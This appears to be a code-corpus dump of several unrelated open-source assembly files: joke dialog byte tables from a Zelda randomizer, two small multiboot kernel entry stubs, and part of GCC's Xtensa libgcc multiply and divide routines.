; dl #DialogUncleData_haveAVeryBadTime
; dl #DialogUncleData_todayBadLuck
; dl #DialogUncleData_leavingGoodbye
; dl #DialogUncleData_iGotThis
; dl #DialogUncleData_raceToCastle
; dl #DialogUncleData_69BlazeIt
; dl #DialogUncleData_hi
; dl #DialogUncleData_gettingSmokes
; dl #DialogUncleData_dangerousSeeYa
; dl #DialogUncleData_badEnoughDude
; dl #DialogUncleData_iAmError
; dl #DialogUncleData_sub2Guaranteed
; dl #DialogUncleData_chestSecretEverybody
; dl #DialogUncleData_findWindFish
; dl #DialogUncleData_shortcutToGanon
; dl #DialogUncleData_moonCrashing
; dl #DialogUncleData_fightVoldemort
; dl #DialogUncleData_redMailForCowards
; dl #DialogUncleData_heyListen
; dl #DialogUncleData_excuseMePrincess
;;--------------------------------------------------------------------------------
; .weetabix
; ; We’re out of / Weetabix. To / the store!
; db $00, $c0, $00, $ae, $00, $d8, $00, $bb, $00, $ae, $00, $ff, $00, $b8, $00, $be, $00, $bd, $00, $ff, $00, $b8, $00, $af
; db $75, $00, $c0, $00, $ae, $00, $ae, $00, $bd, $00, $aa, $00, $ab, $00, $b2, $00, $c1, $00, $cD, $00, $ff, $00, $bd, $00, $b8
; db $76, $00, $bd, $00, $b1, $00, $ae, $00, $ff, $00, $bc, $00, $bd, $00, $b8, $00, $bb, $00, $ae, $00, $c7
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .bootlessUntilBoots
; ; This seed is / bootless / until boots.
; db $00, $bd, $00, $b1, $00, $b2, $00, $bc, $00, $ff, $00, $bc, $00, $ae, $00, $ae, $00, $ad, $00, $ff, $00, $b2, $00, $bc
; db $75, $00, $ab, $00, $b8, $00, $b8, $00, $bd, $00, $b5, $00, $ae, $00, $bc, $00, $bc
; db $76, $00, $be, $00, $b7, $00, $bd, $00, $b2, $00, $b5, $00, $ff, $00, $ab, $00, $b8, $00, $b8, $00, $bd, $00, $bc, $00, $cD
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .onlyOneBed
; ; Why do we only / have one bed?
; db $00, $c0, $00, $b1, $00, $c2, $00, $ff, $00, $ad, $00, $b8, $00, $ff, $00, $c0, $00, $ae, $00, $ff, $00, $b8, $00, $b7, $00, $b5, $00, $c2
; db $75, $00, $b1, $00, $aa, $00, $bf, $00, $ae, $00, $ff, $00, $b8, $00, $b7, $00, $ae, $00, $ff, $00, $ab, $00, $ae, $00, $ad, $00, $c6
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .onlyTextBox
; ; This is the / only textbox.
; db $00, $bd, $00, $b1, $00, $b2, $00, $bc, $00, $ff, $00, $b2, $00, $bc, $00, $ff, $00, $bd, $00, $b1, $00, $ae
; db $75, $00, $b8, $00, $b7, $00, $b5, $00, $c2, $00, $ff, $00, $bd, $00, $ae, $00, $c1, $00, $bd, $00, $ab, $00, $b8, $00, $c1, $00, $cD
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .mothTutorial
; ; I'm going to / go watch the / Moth tutorial.
; db $00, $b2, $00, $d8, $00, $b6, $00, $ff, $00, $b0, $00, $b8, $00, $b2, $00, $b7, $00, $b0, $00, $ff, $00, $bd, $00, $b8
; db $75, $00, $b0, $00, $b8, $00, $ff, $00, $c0, $00, $aa, $00, $bd, $00, $ac, $00, $b1, $00, $ff, $00, $bd, $00, $b1, $00, $ae
; db $76, $00, $b6, $00, $b8, $00, $bd, $00, $b1, $00, $ff, $00, $bd, $00, $be, $00, $bd, $00, $b8, $00, $bb, $00, $b2, $00, $aa, $00, $b5, $00, $cD
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .seedWorst
; ; This seed is / the worst.
; db $00, $bd, $00, $b1, $00, $b2, $00, $bc, $00, $ff, $00, $bc, $00, $ae, $00, $ae, $00, $ad, $00, $ff, $00, $b2, $00, $bc
; db $75, $00, $bd, $00, $b1, $00, $ae, $00, $ff, $00, $c0, $00, $b8, $00, $bb, $00, $bc, $00, $bd, $00, $cD
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .chasingTail
; ; Chasing tail. / Fly ladies. / Do not follow.
; db $00, $ac, $00, $b1, $00, $aa, $00, $bc, $00, $b2, $00, $b7, $00, $b0, $00, $ff, $00, $bd, $00, $aa, $00, $b2, $00, $b5, $00, $cD
; db $75, $00, $af, $00, $b5, $00, $c2, $00, $ff, $00, $b5, $00, $aa, $00, $ad, $00, $b2, $00, $ae, $00, $bc, $00, $cD
; db $76, $00, $ad, $00, $b8, $00, $ff, $00, $b7, $00, $b8, $00, $bd, $00, $ff, $00, $af, $00, $b8, $00, $b5, $00, $b5, $00, $b8, $00, $c0, $00, $cD
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .doneBefore
; ; I feel like / I’ve done this / before…
; db $00, $b2, $00, $ff, $00, $af, $00, $ae, $00, $ae, $00, $b5, $00, $ff, $00, $b5, $00, $b2, $00, $b4, $00, $ae
; db $75, $00, $b2, $00, $d8, $00, $bf, $00, $ae, $00, $ff, $00, $ad, $00, $b8, $00, $b7, $00, $ae, $00, $ff, $00, $bd, $00, $b1, $00, $b2, $00, $bc
; db $76, $00, $ab, $00, $ae, $00, $af, $00, $b8, $00, $bb, $00, $ae, $00, $cD, $00, $cD, $00, $cD
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .capeCanPass
; ; Magic cape can / pass through / the barrier!
; db $00, $b6, $00, $aa, $00, $b0, $00, $b2, $00, $ac, $00, $ff, $00, $ac, $00, $aa, $00, $b9, $00, $ae, $00, $ff, $00, $ac, $00, $aa, $00, $b7
; db $75, $00, $b9, $00, $aa, $00, $bc, $00, $bc, $00, $ff, $00, $bd, $00, $b1, $00, $bb, $00, $b8, $00, $be, $00, $b0, $00, $b1
; db $76, $00, $bd, $00, $b1, $00, $ae, $00, $ff, $00, $ab, $00, $aa, $00, $bb, $00, $bb, $00, $b2, $00, $ae, $00, $bb, $00, $c7
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .bootsAtRace
; ; Boots at race? / Seed confirmed / impossible.
; db $00, $ab, $00, $b8, $00, $b8, $00, $bd, $00, $bc, $00, $ff, $00, $aa, $00, $bd, $00, $ff, $00, $bb, $00, $aa, $00, $ac, $00, $ae, $00, $c6
; db $75, $00, $bc, $00, $ae, $00, $ae, $00, $ad, $00, $ff, $00, $ac, $00, $b8, $00, $b7, $00, $af, $00, $b2, $00, $bb, $00, $b6, $00, $ae, $00, $ad
; db $76, $00, $b2, $00, $b6, $00, $b9, $00, $b8, $00, $bc, $00, $bc, $00, $b2, $00, $ab, $00, $b5, $00, $ae, $00, $cD
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .kanzeonSeed
; ; If this is a / Kanzeon seed, / I'm quitting.
; db $00, $b2, $00, $af, $00, $ff, $00, $bd, $00, $b1, $00, $b2, $00, $bc, $00, $ff, $00, $b2, $00, $bc, $00, $ff, $00, $aa
; db $75, $00, $b4, $00, $aa, $00, $b7, $00, $c3, $00, $ae, $00, $b8, $00, $b7, $00, $ff, $00, $bc, $00, $ae, $00, $ae, $00, $ad, $00, $c8
; db $76, $00, $b2, $00, $d8, $00, $b6, $00, $ff, $00, $ba, $00, $be, $00, $b2, $00, $bd, $00, $bd, $00, $b2, $00, $b7, $00, $b0, $00, $cD
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .notRealUncle
; ; I am not your / real uncle.
; db $00, $b2, $00, $ff, $00, $aa, $00, $b6, $00, $ff, $00, $b7, $00, $b8, $00, $bd, $00, $ff, $00, $c2, $00, $b8, $00, $be, $00, $bb
; db $75, $00, $bb, $00, $ae, $00, $aa, $00, $b5, $00, $ff, $00, $be, $00, $b7, $00, $ac, $00, $b5, $00, $ae, $00, $cD
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .haveAVeryBadTime
; ; You're going / to have a very / bad time.
; db $00, $c2, $00, $b8, $00, $be, $00, $d8, $00, $bb, $00, $ae, $00, $ff, $00, $b0, $00, $b8, $00, $b2, $00, $b7, $00, $b0
; db $75, $00, $bd, $00, $b8, $00, $ff, $00, $b1, $00, $aa, $00, $bf, $00, $ae, $00, $ff, $00, $aa, $00, $ff, $00, $bf, $00, $ae, $00, $bb, $00, $c2
; db $76, $00, $ab, $00, $aa, $00, $ad, $00, $ff, $00, $bd, $00, $b2, $00, $b6, $00, $ae, $00, $cD
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .todayBadLuck
; ; Today you / will have / bad luck.
; db $00, $bd, $00, $b8, $00, $ad, $00, $aa, $00, $c2, $00, $ff, $00, $c2, $00, $b8, $00, $be, $00, $ff, $00, $c0, $00, $b2, $00, $b5, $00, $b5
; db $75, $00, $b1, $00, $aa, $00, $bf, $00, $ae, $00, $ff, $00, $ab, $00, $aa, $00, $ad, $00, $ff, $00, $b5, $00, $be, $00, $ac, $00, $b4, $00, $c7
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .leavingGoodbye
; ; I am leaving / forever. / Goodbye.
; db $00, $b2, $00, $ff, $00, $aa, $00, $b6, $00, $ff, $00, $b5, $00, $ae, $00, $aa, $00, $bf, $00, $b2, $00, $b7, $00, $b0
; db $75, $00, $af, $00, $b8, $00, $bb, $00, $ae, $00, $bf, $00, $ae, $00, $bb, $00, $cD
; db $76, $00, $b0, $00, $b8, $00, $b8, $00, $ad, $00, $ab, $00, $c2, $00, $ae, $00, $cD
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .iGotThis
; ; Don’t worry. / I got this / covered.
; db $00, $ad, $00, $b8, $00, $b7, $00, $d8, $00, $bd, $00, $ff, $00, $c0, $00, $b8, $00, $bb, $00, $bb, $00, $c2, $00, $cD
; db $75, $00, $b2, $00, $ff, $00, $b0, $00, $b8, $00, $bd, $00, $ff, $00, $bd, $00, $b1, $00, $b2, $00, $bc
; db $76, $00, $ac, $00, $b8, $00, $bf, $00, $ae, $00, $bb, $00, $ae, $00, $ad, $00, $cD
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .raceToCastle
; ; Race you to / the castle!
; db $00, $bb, $00, $aa, $00, $ac, $00, $ae, $00, $ff, $00, $c2, $00, $b8, $00, $be, $00, $ff, $00, $bd, $00, $b8
; db $75, $00, $bd, $00, $b1, $00, $ae, $00, $ff, $00, $ac, $00, $aa, $00, $bc, $00, $bd, $00, $b5, $00, $ae, $00, $c7
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .69BlazeIt
; ; ~69 Blaze It!~
; db $75, $00, $cE, $00, $a6, $00, $a9, $00, $ff, $00, $ab, $00, $b5, $00, $aa, $00, $c3, $00, $ae, $00, $ff, $00, $b2, $00, $bd, $00, $c7, $00, $cE
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .hi
; ; hi
; db $75, $00, $ff, $00, $ff, $00, $ff, $00, $ff, $00, $ff, $00, $ff, $00, $b1, $00, $b2
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .gettingSmokes
; ; I'M JUST GOING / OUT FOR A / PACK OF SMOKES.
; db $00, $b2, $00, $d8, $00, $b6, $00, $ff, $00, $b3, $00, $be, $00, $bc, $00, $bd, $00, $ff, $00, $b0, $00, $b8, $00, $b2, $00, $b7, $00, $b0
; db $75, $00, $b8, $00, $be, $00, $bd, $00, $ff, $00, $af, $00, $b8, $00, $bb, $00, $ff, $00, $aa
; db $76, $00, $b9, $00, $aa, $00, $ac, $00, $b4, $00, $ff, $00, $b8, $00, $af, $00, $ff, $00, $bc, $00, $b6, $00, $b8, $00, $b4, $00, $ae, $00, $bc, $00, $cD
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .dangerousSeeYa
; ; It's dangerous / to go alone. / See ya!
; db $00, $b2, $00, $bd, $00, $d8, $00, $bc, $00, $ff, $00, $ad, $00, $aa, $00, $b7, $00, $b0, $00, $ae, $00, $bb, $00, $b8, $00, $be, $00, $bc
; db $75, $00, $bd, $00, $b8, $00, $ff, $00, $b0, $00, $b8, $00, $ff, $00, $aa, $00, $b5, $00, $b8, $00, $b7, $00, $ae, $00, $cD
; db $76, $00, $bc, $00, $ae, $00, $ae, $00, $ff, $00, $c2, $00, $aa, $00, $c7
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .badEnoughDude
; ; ARE YOU A BAD / ENOUGH DUDE TO / RESCUE ZELDA?
; db $00, $aa, $00, $bb, $00, $ae, $00, $ff, $00, $c2, $00, $b8, $00, $be, $00, $ff, $00, $aa, $00, $ff, $00, $ab, $00, $aa, $00, $ad
; db $75, $00, $ae, $00, $b7, $00, $b8, $00, $be, $00, $b0, $00, $b1, $00, $ff, $00, $ad, $00, $be, $00, $ad, $00, $ae, $00, $ff, $00, $bd, $00, $b8
; db $76, $00, $bb, $00, $ae, $00, $bc, $00, $ac, $00, $be, $00, $ae, $00, $ff, $00, $c3, $00, $ae, $00, $b5, $00, $ad, $00, $aa, $00, $c6
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .iAmError
; ; I AM ERROR
; db $76, $00, $ff, $00, $ff, $00, $ff, $00, $ff, $00, $b2, $00, $ff, $00, $aa, $00, $b6, $00, $ff, $00, $ae, $00, $bb, $00, $bb, $00, $b8, $00, $bb
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .sub2Guaranteed
; ; This seed is / sub 2 hours, / guaranteed.
; db $00, $bd, $00, $b1, $00, $b2, $00, $bc, $00, $ff, $00, $bc, $00, $ae, $00, $ae, $00, $ad, $00, $ff, $00, $b2, $00, $bc
; db $75, $00, $bc, $00, $be, $00, $ab, $00, $ff, $00, $a2, $00, $ff, $00, $b1, $00, $b8, $00, $be, $00, $bb, $00, $bc, $00, $c8
; db $76, $00, $b0, $00, $be, $00, $aa, $00, $bb, $00, $aa, $00, $b7, $00, $bd, $00, $ae, $00, $ae, $00, $ad, $00, $cD
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .chestSecretEverybody
; ; The chest is / a secret to / everybody.
; db $00, $bd, $00, $b1, $00, $ae, $00, $ff, $00, $ac, $00, $b1, $00, $ae, $00, $bc, $00, $bd, $00, $ff, $00, $b2, $00, $bc
; db $75, $00, $aa, $00, $ff, $00, $bc, $00, $ae, $00, $ac, $00, $bb, $00, $ae, $00, $bd, $00, $ff, $00, $bd, $00, $b8
; db $76, $00, $ae, $00, $bf, $00, $ae, $00, $bb, $00, $c2, $00, $ab, $00, $b8, $00, $ad, $00, $c2, $00, $cD
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .findWindFish
; ; I'm off to / find the / wind fish.
; db $00, $b2, $00, $d8, $00, $b6, $00, $ff, $00, $b8, $00, $af, $00, $af, $00, $ff, $00, $bd, $00, $b8
; db $75, $00, $af, $00, $b2, $00, $b7, $00, $ad, $00, $ff, $00, $bd, $00, $b1, $00, $ae
; db $76, $00, $c0, $00, $b2, $00, $b7, $00, $ad, $00, $ff, $00, $af, $00, $b2, $00, $bc, $00, $b1, $00, $cD
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .shortcutToGanon
; ; The shortcut / to Ganon / is this way!
; db $00, $bd, $00, $b1, $00, $ae, $00, $ff, $00, $bc, $00, $b1, $00, $b8, $00, $bb, $00, $bd, $00, $ac, $00, $be, $00, $bd
; db $75, $00, $bd, $00, $b8, $00, $ff, $00, $b0, $00, $aa, $00, $b7, $00, $b8, $00, $b7
; db $76, $00, $b2, $00, $bc, $00, $ff, $00, $bd, $00, $b1, $00, $b2, $00, $bc, $00, $ff, $00, $c0, $00, $aa, $00, $c2, $00, $c7
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .moonCrashing
; ; THE MOON IS / CRASHING! RUN / FOR YOUR LIFE!
; db $00, $bd, $00, $b1, $00, $ae, $00, $ff, $00, $b6, $00, $b8, $00, $b8, $00, $b7, $00, $ff, $00, $b2, $00, $bc
; db $75, $00, $ac, $00, $bb, $00, $aa, $00, $bc, $00, $b1, $00, $b2, $00, $b7, $00, $b0, $00, $c7, $00, $ff, $00, $bb, $00, $be, $00, $b7
; db $76, $00, $af, $00, $b8, $00, $bb, $00, $ff, $00, $c2, $00, $b8, $00, $be, $00, $bb, $00, $ff, $00, $b5, $00, $b2, $00, $af, $00, $ae, $00, $c7
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .fightVoldemort
; ; Time to fight / he who must / not be named.
; db $00, $bd, $00, $b2, $00, $b6, $00, $ae, $00, $ff, $00, $bd, $00, $b8, $00, $ff, $00, $af, $00, $b2, $00, $b0, $00, $b1, $00, $bd
; db $75, $00, $b1, $00, $ae, $00, $ff, $00, $c0, $00, $b1, $00, $b8, $00, $ff, $00, $b6, $00, $be, $00, $bc, $00, $bd
; db $76, $00, $b7, $00, $b8, $00, $bd, $00, $ff, $00, $ab, $00, $ae, $00, $ff, $00, $b7, $00, $aa, $00, $b6, $00, $ae, $00, $ad, $00, $cD
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .redMailForCowards
; ; RED MAIL / IS FOR / COWARDS.
; db $00, $bb, $00, $ae, $00, $ad, $00, $ff, $00, $b6, $00, $aa, $00, $b2, $00, $b5
; db $75, $00, $b2, $00, $bc, $00, $ff, $00, $af, $00, $b8, $00, $bb
; db $76, $00, $ac, $00, $b8, $00, $c0, $00, $aa, $00, $bb, $00, $ad, $00, $bc, $00, $cD
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .heyListen
; ; HEY! / / LISTEN!
; db $00, $b1, $00, $ae, $00, $c2, $00, $c7
; db $76, $00, $b5, $00, $b2, $00, $bc, $00, $bd, $00, $ae, $00, $b7, $00, $c7
; db $7f, $7f
;;--------------------------------------------------------------------------------
; .excuseMePrincess
; ; Well / excuuuuuse me, / princess!
; db $00, $c0, $00, $ae, $00, $b5, $00, $b5
; db $75, $00, $ae, $00, $c1, $00, $ac, $00, $be, $00, $be, $00, $be, $00, $be, $00, $be, $00, $bc, $00, $ae, $00, $ff, $00, $b6, $00, $ae, $00, $c8
; db $76, $00, $b9, $00, $bb, $00, $b2, $00, $b7, $00, $ac, $00, $ae, $00, $bc, $00, $bc, $00, $c7
; db $7f, $7f
;;-------------------------------------------------------------------------------- ^32nd
| mmxbass/z3randomizer | dialog.asm | Assembly | mit | 28,409 |
;;kpopper.asm
bits 32 ;nasm directive - 32 bit
section .text
;multiboot spec
align 4
dd 0x1BADB002 ;magic
dd 0x00 ;flags
dd - (0x1BADB002 + 0x00) ;checksum, m+f+c = 0
global start
extern kmain ;kmain defined in the c file
start:
cli ;block interrupts
mov esp, stack_space ;set stack pointer
call kmain
hlt ;halt the CPU
section .bss
resb 8192 ;8KB for stack
stack_space:
| vestlen/kernel-popper | kpopper.asm | Assembly | mit | 396 |
;********************************************
; Copyright 2020 David Aylaian
; https://github.com/davidaylaian/carbon/
; Licensed under the Apache License 2.0
;********************************************
; multiboot constants
MULTIBOOT_ALIGN equ 1<<0 ; page boundaries
MULTIBOOT_MEMINFO equ 1<<1 ; memory map
MULTIBOOT_MAGIC equ 0x1BADB002 ; magic number
MULTIBOOT_FLAGS equ MULTIBOOT_ALIGN | MULTIBOOT_MEMINFO
MULTIBOOT_CHECKSUM equ -(MULTIBOOT_MAGIC + MULTIBOOT_FLAGS)
;********************************************
; start.asm - "where things start off scarce"
;********************************************
; multiboot header
section .multiboot
align 4
dd MULTIBOOT_MAGIC
dd MULTIBOOT_FLAGS
dd MULTIBOOT_CHECKSUM
; the stack
section .bss
align 16
stack_bottom:
resb 16384
stack_top:
; kernel entry
section .text
extern kernel_main
global start
start:
mov esp, stack_top
call kernel_main
.hang: hlt
jmp .hang
| DavidAylaian/CarbonOS | kernel/kernel/arch/x86/start.asm | Assembly | apache-2.0 | 925 |
/* Assembly functions for the Xtensa version of libgcc1.
Copyright (C) 2001, 2002, 2003, 2005, 2006 Free Software Foundation, Inc.
Contributed by Bob Wilson (bwilson@tensilica.com) at Tensilica.
This file is part of GCC.
GCC is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation; either version 2, or (at your option) any later
version.
In addition to the permissions in the GNU General Public License, the
Free Software Foundation gives you unlimited permission to link the
compiled version of this file into combinations with other programs,
and to distribute those combinations without any restriction coming
from the use of this file. (The General Public License restrictions
do apply in other respects; for example, they cover modification of
the file, and distribution when not linked into a combine
executable.)
GCC is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
for more details.
You should have received a copy of the GNU General Public License
along with GCC; see the file COPYING. If not, write to the Free
Software Foundation, 51 Franklin Street, Fifth Floor, Boston, MA
02110-1301, USA. */
#include "xtensa-config.h"
# Define macros for the ABS and ADDX* instructions to handle cases
# where they are not included in the Xtensa processor configuration.
.macro do_abs dst, src, tmp
#if XCHAL_HAVE_ABS
abs \dst, \src
#else
neg \tmp, \src
movgez \tmp, \src, \src
mov \dst, \tmp
#endif
.endm
.macro do_addx2 dst, as, at, tmp
#if XCHAL_HAVE_ADDX
addx2 \dst, \as, \at
#else
slli \tmp, \as, 1
add \dst, \tmp, \at
#endif
.endm
.macro do_addx4 dst, as, at, tmp
#if XCHAL_HAVE_ADDX
addx4 \dst, \as, \at
#else
slli \tmp, \as, 2
add \dst, \tmp, \at
#endif
.endm
.macro do_addx8 dst, as, at, tmp
#if XCHAL_HAVE_ADDX
addx8 \dst, \as, \at
#else
slli \tmp, \as, 3
add \dst, \tmp, \at
#endif
.endm
# Define macros for leaf function entry and return, supporting either the
# standard register windowed ABI or the non-windowed call0 ABI. These
# macros do not allocate any extra stack space, so they only work for
# leaf functions that do not need to spill anything to the stack.
.macro leaf_entry reg, size
#if XCHAL_HAVE_WINDOWED && !__XTENSA_CALL0_ABI__
entry \reg, \size
#else
/* do nothing */
#endif
.endm
.macro leaf_return
#if XCHAL_HAVE_WINDOWED && !__XTENSA_CALL0_ABI__
retw
#else
ret
#endif
.endm
#ifdef L_mulsi3
.align 4
.global __mulsi3
.type __mulsi3,@function
__mulsi3:
leaf_entry sp, 16
#if XCHAL_HAVE_MUL16
or a4, a2, a3
srai a4, a4, 16
bnez a4, .LMUL16
mul16u a2, a2, a3
leaf_return
.LMUL16:
srai a4, a2, 16
srai a5, a3, 16
mul16u a7, a4, a3
mul16u a6, a5, a2
mul16u a4, a2, a3
add a7, a7, a6
slli a7, a7, 16
add a2, a7, a4
#elif XCHAL_HAVE_MAC16
mul.aa.hl a2, a3
mula.aa.lh a2, a3
rsr a5, ACCLO
umul.aa.ll a2, a3
rsr a4, ACCLO
slli a5, a5, 16
add a2, a4, a5
#else /* !XCHAL_HAVE_MUL16 && !XCHAL_HAVE_MAC16 */
# Multiply one bit at a time, but unroll the loop 4x to better
# exploit the addx instructions and avoid overhead.
# Peel the first iteration to save a cycle on init.
# Avoid negative numbers.
xor a5, a2, a3 # top bit is 1 iff one of the inputs is negative
do_abs a3, a3, a6
do_abs a2, a2, a6
# Swap so the second argument is smaller.
sub a7, a2, a3
mov a4, a3
movgez a4, a2, a7 # a4 = max(a2, a3)
movltz a3, a2, a7 # a3 = min(a2, a3)
movi a2, 0
extui a6, a3, 0, 1
movnez a2, a4, a6
do_addx2 a7, a4, a2, a7
extui a6, a3, 1, 1
movnez a2, a7, a6
do_addx4 a7, a4, a2, a7
extui a6, a3, 2, 1
movnez a2, a7, a6
do_addx8 a7, a4, a2, a7
extui a6, a3, 3, 1
movnez a2, a7, a6
bgeui a3, 16, .Lmult_main_loop
neg a3, a2
movltz a2, a3, a5
leaf_return
.align 4
.Lmult_main_loop:
srli a3, a3, 4
slli a4, a4, 4
add a7, a4, a2
extui a6, a3, 0, 1
movnez a2, a7, a6
do_addx2 a7, a4, a2, a7
extui a6, a3, 1, 1
movnez a2, a7, a6
do_addx4 a7, a4, a2, a7
extui a6, a3, 2, 1
movnez a2, a7, a6
do_addx8 a7, a4, a2, a7
extui a6, a3, 3, 1
movnez a2, a7, a6
bgeui a3, 16, .Lmult_main_loop
neg a3, a2
movltz a2, a3, a5
#endif /* !XCHAL_HAVE_MUL16 && !XCHAL_HAVE_MAC16 */
leaf_return
.size __mulsi3,.-__mulsi3
#endif /* L_mulsi3 */
# Define a macro for the NSAU (unsigned normalize shift amount)
# instruction, which computes the number of leading zero bits,
# to handle cases where it is not included in the Xtensa processor
# configuration.
.macro do_nsau cnt, val, tmp, a
#if XCHAL_HAVE_NSA
nsau \cnt, \val
#else
mov \a, \val
movi \cnt, 0
extui \tmp, \a, 16, 16
bnez \tmp, 0f
movi \cnt, 16
slli \a, \a, 16
0:
extui \tmp, \a, 24, 8
bnez \tmp, 1f
addi \cnt, \cnt, 8
slli \a, \a, 8
1:
movi \tmp, __nsau_data
extui \a, \a, 24, 8
add \tmp, \tmp, \a
l8ui \tmp, \tmp, 0
add \cnt, \cnt, \tmp
#endif /* !XCHAL_HAVE_NSA */
.endm
#ifdef L_nsau
.section .rodata
.align 4
.global __nsau_data
.type __nsau_data,@object
__nsau_data:
#if !XCHAL_HAVE_NSA
.byte 8, 7, 6, 6, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4
.byte 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3
.byte 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2
.byte 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2
.byte 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1
.byte 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1
.byte 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1
.byte 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1
.byte 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.byte 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.byte 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.byte 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.byte 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.byte 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.byte 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.byte 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
#endif /* !XCHAL_HAVE_NSA */
.size __nsau_data,.-__nsau_data
.hidden __nsau_data
#endif /* L_nsau */
#ifdef L_udivsi3
.align 4
.global __udivsi3
.type __udivsi3,@function
__udivsi3:
leaf_entry sp, 16
bltui a3, 2, .Lle_one # check if the divisor <= 1
mov a6, a2 # keep dividend in a6
do_nsau a5, a6, a2, a7 # dividend_shift = nsau(dividend)
do_nsau a4, a3, a2, a7 # divisor_shift = nsau(divisor)
bgeu a5, a4, .Lspecial
sub a4, a4, a5 # count = divisor_shift - dividend_shift
ssl a4
sll a3, a3 # divisor <<= count
movi a2, 0 # quotient = 0
# test-subtract-and-shift loop; one quotient bit on each iteration
#if XCHAL_HAVE_LOOPS
loopnez a4, .Lloopend
#endif /* XCHAL_HAVE_LOOPS */
.Lloop:
bltu a6, a3, .Lzerobit
sub a6, a6, a3
addi a2, a2, 1
.Lzerobit:
slli a2, a2, 1
srli a3, a3, 1
#if !XCHAL_HAVE_LOOPS
addi a4, a4, -1
bnez a4, .Lloop
#endif /* !XCHAL_HAVE_LOOPS */
.Lloopend:
bltu a6, a3, .Lreturn
addi a2, a2, 1 # increment quotient if dividend >= divisor
.Lreturn:
leaf_return
.Lle_one:
beqz a3, .Lerror # if divisor == 1, return the dividend
leaf_return
.Lspecial:
# return dividend >= divisor
bltu a6, a3, .Lreturn0
movi a2, 1
leaf_return
.Lerror:
# just return 0; could throw an exception
.Lreturn0:
movi a2, 0
leaf_return
.size __udivsi3,.-__udivsi3
#endif /* L_udivsi3 */
#ifdef L_divsi3
.align 4
.global __divsi3
.type __divsi3,@function
__divsi3:
leaf_entry sp, 16
xor a7, a2, a3 # sign = dividend ^ divisor
do_abs a6, a2, a4 # udividend = abs(dividend)
do_abs a3, a3, a4 # udivisor = abs(divisor)
bltui a3, 2, .Lle_one # check if udivisor <= 1
do_nsau a5, a6, a2, a8 # udividend_shift = nsau(udividend)
do_nsau a4, a3, a2, a8 # udivisor_shift = nsau(udivisor)
bgeu a5, a4, .Lspecial
sub a4, a4, a5 # count = udivisor_shift - udividend_shift
ssl a4
sll a3, a3 # udivisor <<= count
movi a2, 0 # quotient = 0
# test-subtract-and-shift loop; one quotient bit on each iteration
#if XCHAL_HAVE_LOOPS
loopnez a4, .Lloopend
#endif /* XCHAL_HAVE_LOOPS */
.Lloop:
bltu a6, a3, .Lzerobit
sub a6, a6, a3
addi a2, a2, 1
.Lzerobit:
slli a2, a2, 1
srli a3, a3, 1
#if !XCHAL_HAVE_LOOPS
addi a4, a4, -1
bnez a4, .Lloop
#endif /* !XCHAL_HAVE_LOOPS */
.Lloopend:
bltu a6, a3, .Lreturn
addi a2, a2, 1 # increment quotient if udividend >= udivisor
.Lreturn:
neg a5, a2
movltz a2, a5, a7 # return (sign < 0) ? -quotient : quotient
leaf_return
.Lle_one:
beqz a3, .Lerror
neg a2, a6 # if udivisor == 1, then return...
movgez a2, a6, a7 # (sign < 0) ? -udividend : udividend
leaf_return
.Lspecial:
bltu a6, a3, .Lreturn0 # if dividend < divisor, return 0
movi a2, 1
movi a4, -1
movltz a2, a4, a7 # else return (sign < 0) ? -1 : 1
leaf_return
.Lerror:
# just return 0; could throw an exception
.Lreturn0:
movi a2, 0
leaf_return
